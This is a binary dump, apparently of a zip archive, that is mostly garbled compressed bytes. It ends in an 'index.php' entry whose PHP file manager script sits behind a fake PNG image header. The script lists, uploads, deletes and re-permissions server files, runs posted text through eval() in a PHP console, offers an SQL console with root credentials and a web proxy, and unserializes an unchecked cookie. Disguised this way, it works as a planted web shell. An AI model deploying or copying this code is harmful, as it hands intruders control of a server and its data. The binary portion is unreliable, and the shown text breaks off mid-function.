u�B�:��LFΡ�J&��Ⓐ�'�pP�b������������b��pp���ݔ��b�p��$ǴOsZ��!���X&x���k$"C7qL���˦�N=-K�z�<mk����������'ί�<�M'w�x3�H,WF�����8��H��US|�'�����LE(MUMuU��}d*Kb�|��V�:���\"���a�T	f)� ���[��-�;�޺{u��ڈ"/F�@�8�	Z��:�ӆ}ZH۞PA�1Ζ�ˣ�Bw����E���%cIK����Uȶ��7u'W��wE�g������_�9��ۃ@����Cx����0�>cc�Y���馓�ZTO�^^	���7m�k��j�7��!���0Q���>V�,�U��Kc�ϸ�[G|�w���SD$��K��Я���)B�h%�C�$5��Zr�z��F�^a|�f���J��!�S27�!�>����狀me<�|�_��Y|�R,e�!8�����W�Ŝ��(hތ{�?�>�5/F�f�;I�&m���r�W���<�%�g�e��cFp\���F[��5���ٓQ�ֲdT��`�z�/A�u�$'�Y\��w
;w7n��z��1���(�V�I:��+�M�9���/���
=����M�ŬWR �
3'��t{��a����<=�j| ��^A�XY�P���k
�5V�0�_>��!{�7��#��͡�!6M/��.���b�Xm��U�p��2�O+3<S��e�FE�f�*9%�:���GB�mD'CD D�,��D�@9W���ݘ�^��jy��`A�D�E.Ma\L��S�G8uԽk^k�=�pU��XXPg[�sE�-m���j�(�쵽����8��hi$����>|�e(�&On����&5ǧ�O.bm�O!�:J��Ѵ
&��U
\��^�������gjE�T,gB�
U+Ϯ���S��a�͠s���$�<K���	g�J_�ѿD�(���V���#�����g^a�LŠ��{��u5Ȧ�=���R��H�V�G��gݜ)�="�C�t�5L�����a�9��KV%��+֥15mN�wJ����u��Qm�C0�c�sK
���/+O��/�ý
6V���j�V늱�3C�^ ����`�`|�ܾ��Џ�<�K��L{R��d�o�I���6�ڊ-�16w��y���^VoN�����_0���z
�|�M�)a���M�⹡�9�^;h��w�LO�D��g^�s?z�����ݻB��N��ɾ&�[���b�O��ܿ�3�;U�HR���y��
6��@��q�c8���W��|�V� ��*.u^$4�.��8�7 ��~���X�;phKH�݌���R��o��+g�>K�5<}Q�ĩH��UN��t��i�$^�tu�R�/L
\n��i�W���>������>�.�S�1����R�Ð�Ɯ�
��N���E)|(���y:�&��0kS���Y��1�eo�⽙v��7ɠ�ǡ��s��A��񦣕����d�D��=��۫C���)�]��5ô�R8��½����	�Δ�~�ƔV�C[A2�9���ք{�a!~s�����X=��W���DN�,0���<K���֭䳧`�0:�Up68o�E٘�V"�n�����Ӳ\�����6�k��`s ��آ_+�M4��Ж<=�_MD
�H�s�,)�!��h���	-��f���]��g�^EB�=O \���+{E����l;���h6��%kPt '�M�v��<��M���$��(��k�aW�lG�/��廉��7��`E�1��͊]����ic
H�%���#�D�"��o02�)Y�C�[7�n� }��XPM�nc���7-�f��8��j#�fFn+Q��
	"�L0�hÅ�����ٍ�R,�<�Bw1!/��|�MB���(c�;ڗ�>�M^�"v�:q�m3��h��'2�U��4?�f|�%C�x�,h'��.l�H�j �WK�c��5�	�6���x�vJ���U`m32���Cz7�ϑ�P�ol4�LK7�J<H)�Fͬ�	���5�Mrs�?�F���lS{�ΐ���r:�B�]%1����*�/�U�$����Ⳑ�QF���	�-5���4^��j�!��ym^�M^��)^�t�c��&�Ӄ�W��"��/�M�N7��=nWCi�!�#�C?�FB��.�Q�0��s��z?�x�sךz��ò��<&D%x9�s.9Cs5�Ȕ=�g���:*������SV�;�b��,):MeB��j�#d�ֲ̯Td�5��2�v��i�HЈ���Uj��í������ꐊ���0L
n
��p��S~�ޑژ�Y3O)1OvS�H7l����Ĩ�P,��,��%����{��9�jt~]9�b�'(�(���c���[�t���R,�����$��&�Hn�+X�/^��/HI�
$��L/�%\
��R���d��vqu��U��Sz>�}b�nq
�kV�d�	��/��k$���P|�==_�􀻃Kdݬ�l�.������Fy�^%_�$�h���C�c�j���<��u��B2��h�?-�;�V��ԭ�ju֑Hy�]1�cO9l��(�*��|k��86���\��e�'L�B���c�jĕ����4
Z&��_2`q�]�-�>�d{q�)���ƃo�����/�J�J�v�񝉬�+O���'�t,wX�7���U3����TNo
6xz��,��"��Ĵ��l��&5i����bC,}I�
�Q��9������`�Y�}���ܤj��8�k:d1�)Ҍ-}�]��2��H82fgz�|I��PC�|[�?q�Y�0*j:��]�:YN��}!�
���!���l�_u	�PA�tW��(]��D�E�L�<�x��H��p�;�,�v�WQd��8�yΌ�_�F\>NX�a:�s��Q�}*����2�Jb�gxՐ�r�\��
��~W�K�t��:������Ba��|m��ag�x�80X��,�����D����O���~�A����Gm*�nl��V�_Qx(�8�N2"��P�z;ɂ|F��>(ˇ���d
'����*ݠA�a��Ƴ<���c|	QUiS]TȘ�W\�Z/p��ތ�"�e�Du�AtT�zB5��
B�����r�{���ֿcz�?��X��ڽT㣢��	�O�';�Y�hn���\�O 2�]rlG�g^߅��r)Q��7ǯѱL�������%H	�o��d#/b�\�υW+_g�g��ȉ	ѐ�	�C�1�q�F~ɟŁ��C�LC�*��Xo��2slTyl�R��O�Fn��{�HĶ�aZ|f�6�L�im,9�-��BL�2m�R�d�%T�sA��BϾA
�#w����OS{�QC8vƛ���w5|�M��&�*�Ϧ�|��O���g���"�h�&��8�:�صC��}0hd�������A"U��5Z��d	`CL�]�/,%=��v4�}�O��
	�e-��/��<��$��A��yWx�0���fD�T�)oJ,n�W��Xu�ɗ�w5�������\��KR�jZD�����?�HN�mj�z���-к�q˜!)H�����J	fN��eF��Y���"��R4ٝ����Ϋy�ɣI����u�{��Wjk
���r�~Q}�Ŏ�$@��	Uk���k`�'�
n�N�,4�D�)�o�pú�#� b
�gW��G,L���bV�Mx��h�����7o �)g,�OU��C��=q�~Q/���F��ۿ�'��3�vyC���z�&ns\.��2�w
��E8o�ڀ�P���l)t_�h�����W�۲8S�J~�m���ɲ���J�9��q70fJ��h�bCFN�;fۓ�0)MdD�����Uɜ��;�`#��1ރ)r:y�m�M�c[-�_l^,�^Fe�n��^0f]�s}h��7�3
��œ���(�޹w~��>���\M��hj�8�����+�M��j��9&5.kJ�b*�R��Y��g�!;�2�|u��HDCCl��מ�0��i1��-��J�,Jz"�	�DHq�jC
E��\�#K}�I�T{�H�>N���|P�X��_��v��є���M��ӷdj��5���6��߿u����k�fQ�/��qw{�k�)q�v5����H;�}�NV��hc��<�p�gGYsTǞ���W���	��&;C?'V�w��U�_�z�0+λ�}A$��Qv�)M
A˜3<o4����:�R~�
��2�#{^]�y�P�dsP$ݨ�E�w��K��N �8��f6a�6[�����&	~�W�Odl&P��z[�v�h-(iX�R��݋�\�8\�\�\r���9�*�wp�ׄ��*h}m4�옷�KrYf�
 @�}�O[�
��M���0�E����2�ĉ�Yo���e۳�ͥ�@�8��ݢ2z�V�'g���Q��O)������	!�c��MM-h�>=�*�ò�u(ϞG*�{�z�[����n��k���F���G��Ag�8����:�I��I#Ga��b�v�A!���7��r{/ �Y��>����-���v�& �I�ؿ�C)#c�Vf���)�񮅎�vr/T�m
"��l5͓�6�v��oO6[�L����2��R��P����j�S,w��M>%O����?�ym�,ù�m�&��|"\3�Z>xj�V�
�p��<y�xd+夁�����Ye��&Č�b�G� �'�<a�p����+��������̀���bѴK��4S�����Y�=[��N
N�ޥ��WZ���w7��<��;�
<�<��@�A���A�����`H�&Ίy!�&"�����
��%����)�����9���%�������J�M&0�O���L��ᇵ��!��������CC�#sS;]=�o��,�h~C6��Z@afd��[L��@tLt����,,,����t�Lx��/�����xt����#,�<�Aѐ�C���KJ��I���)Jk<�h�?X����Zj�h��)ZX�J[�}���kc��󍇆T)߯|H�����pN�sW�z��������i;��~o�gim��ka��kgmdn��U-k�0����[�z�z����Z�}sD<#�oB��-�l�7��}�B�vyC#��:|8���9��qF�z��Z�h~�g!��ҷKZ:uu��l�~������?����w�&�
�H@K)-3=<}<m3-k<kӖ�?)lcag���7�4���Y��h�?���@�t-�l��-l��,MTֲ���w�6�F��xz�F6�6�x���$�i9�i��O8���2�ų3�ճ6uz����l��,L[j;}�d�9xf�F�F:Z�F������C�_���E{-�t}8��������Z㛞\x�v��P�N��������������m�l�t��_<�г~��������g�g�g��B���-[-�2'��2��dhag�0#�[}k�wvv=[
@;R��J���?���<�[�(��`��bs[-#s���3է�1�xC<}S��0�����P�^�j�V��Qm"ÜĖ�{@~��s�Z�YZX�"T�[�ߚ=Ė�
�۟c�����!^���<0fhkki�N�m(����ӡv8�����
�?��z���$���_(4Բ�xh��S+�o@���Lm�OQ@�<\��~�����8x�H��C.�10
�Mz�,���?Д���G�)	%�����h3-[C������_������aabr@�<�K��ki8��(�2w��]�'������v�H�[j��{���?U���N�?rt-SS@N��?eQ<-km� F�c��c�����,�� c������.��U����6��Ŀ����ُ@X�n������ӱ�Ƶ��M�[n���忥M=ǟ�f��`��2��x��'.���cj�S�6�Ɂ$Z�E}�8@���?Sh>@�6$Ͼ6߆�;>"��C�?2�W�ga����s�	0 �|O.6~fgi�}8����v��т�!����Ӽ����/�Ư�=$�`����s�����0%@���>LA�9�$�[3��_�꯼��+��j�R�	ٙ�<<?4�/?5�����&};ӟ�f�zZ��=����?����9H�x~��=��g�æ��)�1��x<?k����#{�kA>��T�?�A���ȗ�\��;�Q��OJ�S��N~��?5�����Yo@m�J9/�~�8��3~h'ݟ�~'��`��jR��D�ِ�4>b�� �U)�~h�U�~�������% ?���B�����&�$�������������@�����7�'�������#�yg�g�.�,��� ����tI�!u�r���Wt��������ʯ�7(�z���H D =kkk
S��8T�c�z��CEOKτGG���Ȅ� /��'-"
����ъO�\WO��a�0Q6�>&k��>�i��#-
`����X-&\�zxL�,P���O����l����V}}=���gr+���k���
��
�a{0���}����?���Ϸ[^���<C=-݇��)`%���W��Ӻ��E	:zz�?�����X�3��RF*!=���x�L�L��t�a�A4�%o�q��=�8y,�s��k���FO��"��hEd�M�;Qz���������B#�e�e��m��
������-��[�����Ŭ����������������9`U�������J�VK���ZKG�����L���
��z���@g?b��Q9��<����?��Q�C4���b��q"xD�)h{����6w������G`���W��A4�#2���h�/�[�������Q���Q�C4��(��Dԏ�_&�7�c 균�=*��!���Q�jk��h�/�[����S������76���,���b�G��c4�é�&�B{T[{?F�7Q�9D1�Ӳ=�~�# ������B�(�bxD;=���o��C�bf�}D����q�X��e�X�u�h��S������="����y���w��?��(��Kԟ���@��%�O@�_ �_7}Q���Z:��dLv�ޔ7������ϯ|�j�m��cK�������#۟H�����4�b�W���1�Q�g���Q���ߘ7?����jJ�8�zL�7�͏��?��?����jJ�8����)�� �O@���!?N�,���L�eO�w���߁��6�_i����h�cl����A�"㷠�gE�_f�?�}G��d�@����e��< �;h��ED��ˣ!�OA��~Q�_���x��3����GDԟ���<"����`���'�=ڭ��8���)��A�&`��?k�����ǫ��a����X^��4�"2�&�B{,/_������"걼S�;h�/�﯂?����=�ߡ=�
��B�7Q��;<�~ڣZ����𨿉����뗿��2Q��Q?����Q���(Vv:Vv����������W���|���?���N�X��A�"�<D�;h1Q�Y)�/3�o��#����wd�;�����yD�>*�~����k�s�f>{��s������V|���o�����{,O ��GL�ڠ�����c����wd���#�<c�;hGd��\d�5�s�wd<N�~�c����LԿ�j�������Q��<T�;hQ����A�7Q��(iqP0  ��@@R��|��@0�s�A��c�ecC��M����-���������;n¨s@s;8 ���L`��ʟD�_w��P�xP�i���i�YXX�����h 뿽�=̍]�o�'�fP4��Px�x"�x|Ң�x��'�k���x�P��:��������������޷x�6v�?�x�A��:�����i�4P?�*`a��].��
 ����l
��ų�2����x�0k<-@���j�j4�v:�v������]����llbS���������C���R=�?ů��������3���R� �L��'e�
�l~B	��Ы@����)�����`�œ����/ȿ5�Y�O)����^�V��㜉��'��4�5��9O�T���P�A��Y��40Ӳ���@)��/}���o����oZ�
�X�A�N�z?�9�,t��G�`��O���R���402�h�M��T��" �?�{8��������Y��_z����?u�`ɟ��AGL�uG�E�sOr�l��?���g�mq��€�?����0ك���&`a��-��+��Z�Zf���w2���"�ď���D��B?K���w-�GX���|������4�~��;;��?W����������������O4p�ç~����\?��
�
��.����"-���O�
rڬ
F`�����u�ee���TdQx
�pP�J�@��Z��D�mg�Geka�g�m��ӊ�����+L\1�p��x���:����}ɛ�����'�x��p���<s����A`��k�%�A�0���-�_�����.*�sρp�_+�
�K�1a��N�d�_	�?��C�Dh4�\y8�~�{��d��g,��5�+W��@�Ug���Dϟ�Y��U\;�� ���E�S�߬�gzJ���~������@!~�C��6(�z�^8~�6� �L���ݢ�G	��o��88�ÿ��?%`@@�@��������\�?�jZ�
PKE�N\�N[����10.zipnu�[���PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
